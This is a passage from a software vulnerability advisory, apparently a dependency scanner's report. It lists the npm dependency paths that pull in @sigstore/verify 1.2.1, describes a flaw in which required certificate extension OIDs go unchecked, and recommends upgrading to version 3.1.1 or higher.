  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/verify@1.2.1

Overview

@sigstore/verify is a Verification of Sigstore signatures

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the certificateOIDs option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.

Remediation

Upgrade @sigstore/verify to version 3.1.1 or higher.

References

More about this vulnerability